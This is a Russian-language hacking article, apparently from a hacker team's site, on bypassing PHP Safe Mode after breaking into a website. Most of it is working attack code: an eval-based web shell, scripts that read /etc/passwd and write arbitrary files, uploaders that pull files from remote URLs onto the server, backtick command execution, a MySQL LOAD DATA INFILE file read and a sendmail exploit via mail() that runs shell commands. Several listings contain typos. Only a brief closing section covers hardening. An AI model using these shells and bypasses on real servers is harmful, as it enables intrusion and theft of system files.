| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 18.224.29.112
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

Обход Safe Mode

Начинающего хакера очень часто может испугать то, что на сервере включена опция Safe Mode в PHP. К примеру, хакер взломал какой-то сайт через include(), require(), fopen() уязвимость, а на исполнение команд оболочки у него недостаточно прав. Каждый с этим сталкивался, но не каждый решал эту проблему.

Способов обхода Safe Mode довольно много. Но сначала разберемся в том, что собой представляет Safe Mode. Safe Mode – это директива в PHP, которая запрещает исполнять system(), passthru(), exec(), shell_exec и другие функции, выполняющие системные программы. Если PHP настроен, как Safe Mode + open_basedir, тогда никакие файлы вне open_basedir не обслуживаются PHP, не стартуют программы, которые находятся вне данной директории. 

Список функций ограничиваемых Safe Mode: chgrp, include, require, chmod, link, rmdir, chown, passthru, sumlink, exec, popen, system, fopen, readfile, unlink, file, rename. Довольно полезная функция для системных администраторов и довольно вредная для хакеров, не так ли? Но, все можно обойти, я в этом убедился уже давно, чего и тебе желаю. Safe Mode не блокирует функции include(), require(), fopen(), fwrite() и многие другие, не менее полезные. Тогда мы просто реализуем все, что нам нужно с помощью остальных функций PHP не прибегая к запуску системных команд.

Для этой цели нам нужен скрипт, через который мы будем исполнять PHP код.

<?
$shell = get_magic_guotes_gpc();
if (!empty[$_POST['c'] )) {
$c = $shell ? stripslashes($_POST['c']) : $_POST['c'];
} else {
$c = NULL;
}
echo "<form action='' method='POST'>
<texarea cols='80' rows='30' name='c' id='c'>
$c;
</textarea>
<br><input type='submit'></form>";
if (!is_null($c)) eval($c);
?>

Конечно, можно создать полноценный шелл и гиперссылками и выделением, эту работу я оставлю тебе, моя же цель показать примеры использования альтернативных функций PHP. В данном скрипте шелл код нужно вводить без .

Листинг Файлов:

<?
$dir = dir(".");
print "Path: ", realpath($dir->path) . "<br>\n";
while (False !== ($entry = $dir->read())) {
if (is_dir(realpath($dir->path).'/'.$entry)) {
echo "[".$entry."].(is_writable(realpath($dir->path).'/'.$entry) ? ' [W]' : ''). "<br>\n";
} else {
echo $entry.(is_writable(realpath($dir->path).'/'.$entry) ? ' [W]' : ''). "<br>\n";
}
}
$dir->close();
?>


Прекрасно! Вот и нашлась замена “ls -la”. 

$dir = dir("."); - в скобках указывай полный путь к директории, листинг которой хочешь увидеть. Если не знаешь полного пути на сервере, просто запусти код без параметров, и ты увидишь этот путь.

Для просмотра файла используй этот код:

<?
echo nl2br(htmlspecialchars(implode('', file(''))));
?>

file('')))); - к примеру заменяешь на file('/etc/passwd'))))";

Вот она мощь PHP! И это еще не все, если на файл поставлен бит +w, то мы сможем записать в него любую информацию.

<?
$filename = '';
$comecontent = '';
$handle = fopen($filename, 'w');
fwrite($handle, $comecontent);
fclose($handle);
?>

$filename – имя файла
$comecontent – то, что пишем в файл

Если нужно записать PHP информацию используй $comecontent такого вида:

'<'.'?php
//
тут пхп код
?'.'>';

Далее я приведу еще немного полезных общедоступных функций PHP, которые тебе пригодятся. Сразу говорю, что не все будут работать в правильно настроенном Safe Mode.

Открытие файла или URL:
fopen($sPathFile, $sModifier);
//модификатор может иметь значения: 
//\'r\' - Открыть только для чтения;
//\'r+\' - Открыть для чтения и записи;
//\'w\' - Открыть только для записи;
//\'a\' - Открыть только для записи в конец файла;
//\'a+\' - Открыть для чтения и записи в конец файла;

Копирование файла:
copy($sOldPath, $sNewPath);

Переименование файла:
rename($sOldPath, $sNewPath)

Удаление файла:
unlink($sPathFile);

Проверка существования файла:
file_exists($sPathFile);

Проверка на поддержку чтения:
is_file($sPathFile);

Такой себе chmod в PHP (в Safe Mode часто отключен):
chmod($sPathFile, 0755) // Обязательно пишите О (нуль) перед указателем режима

Вывод содержимого файла в браузер:
readfile($sPathFile);

Создание директории:
mkdir($sPathFolder, $iChmod);

Удаление директории:
rmdir($sPathFolder);

Кстати, иногда прокатывает довольно интересный способ:

$cmd=`ls`; 
print "<pre>$cmd</pre>"; 

Это способ выполнения системных команд, не требующий вызова функций. Здесь команда заключается в обратные апострофы. 

Действительно, с обходом Safe Mode возникает очень большая морока, порой легче загрузить, к примеру, perl сценарий, и исполнять команды через него. PHP дает нам возможность загрузить любой файл, хоть с localhost хоть с удаленного сервера. 

С твоего компьютера:

<?
echo <<<HTML
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<td>File:</td>
<td><input size="48" name="file" type="file"></td>
</tr>
<tr>
<td>Path:</td>
<td><input size="48" name="path" type="text"><input type="submit" value="OK"></td><br>
HTML;

if (isset($_POST['path'])){

$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}

if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "OK $uploadfile\n";
echo "Name:" .$_FILES['file']['name']. "\n";
echo "Ves:" .$_FILES['file']['size']. "\n";

} else {
print "Error:\n";
print_r($_FILES);
}
}
?>


С удаленного компьютера:

<?
echo "<form enctype='multipart/form-data' action='?ac=upload&status=ok' method=post>
<input type='text' name='file3' value='http://' size=40><br>
ServerPath: <br>
<input type='text' name='file2' value='$docr/' size=40><br>
<input type='submit' value='OK'></form>";


if (!isset($status)) downfiles();

else
{

$data = @implode("", file($file3));
$fp = @fopen($file2, "wb");
@fputs($fp, $data);
$ok = @fclose($fp);
if($ok)
{
$size = filesize($file2)/1024;
$sizef = sprintf("%.2f", $size);

print "<br><center>OK: <b>ves <u>$file2</u> ves</b> (".$sizef."??) </center>";
}
else
{
print "<br><center><font color=red size = 2><b>error</b></font></center>";
}
}

?>


Также файл можно загрузить через ftp:

<?
ftp_connect(хост)
ftp_login(ftp_ресурс, username, password)
ftp_cdup(директория ftp ресурса)
ftp_get(ftp_ресурс, имя локального файла, дистанционный файл, режим копирования)
//
Режим обязан быть FTP_ASCII или FTP_BINARY
ftp_quit(ftp_ресурс)
ftp_close(хост)
?> 


Еще один способ обхода Safe Mode заключается библиотека mysql, через функции которой можно производить действия с произвольными файлами. Юзай оператор LOAD DATA и будет тебе счастье.

CREATE TABLE `test` ( `file` LONGBLOB NOT NULL ); 
загрузка файла в таблицу
LOAD DATA INFILE "/etc/passwd" INTO TABLE test;
вывод содержимого файла и удаление таблицы
SELECT * FROM test; DROP TABLE test;

Также в пятом аргументе функции mail() была найдена уязвимость, которая позволяет передавать опции командной строки в sendmail:

<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>


Защита

Отредактируй php.ini:

sql.safe_mode = On
safe_mode_gid = On
safe_mode = On :)

Установить safe_mode_include_dir и safe_mode_exec_dir.

disable_functions – тут нужно запретить неиспользуемые на сервере функции, phpinfo() и остальные.

И не забуть обновлять программное обеспечение на своем сервере.

Если что, пиши, я всегда помогу настроить тебе сервер на определенную плату ;)

Категория: Общие Статьи | Добавил: aka_kludge (04.01.2009)
Просмотров: 1824 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

03:58
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика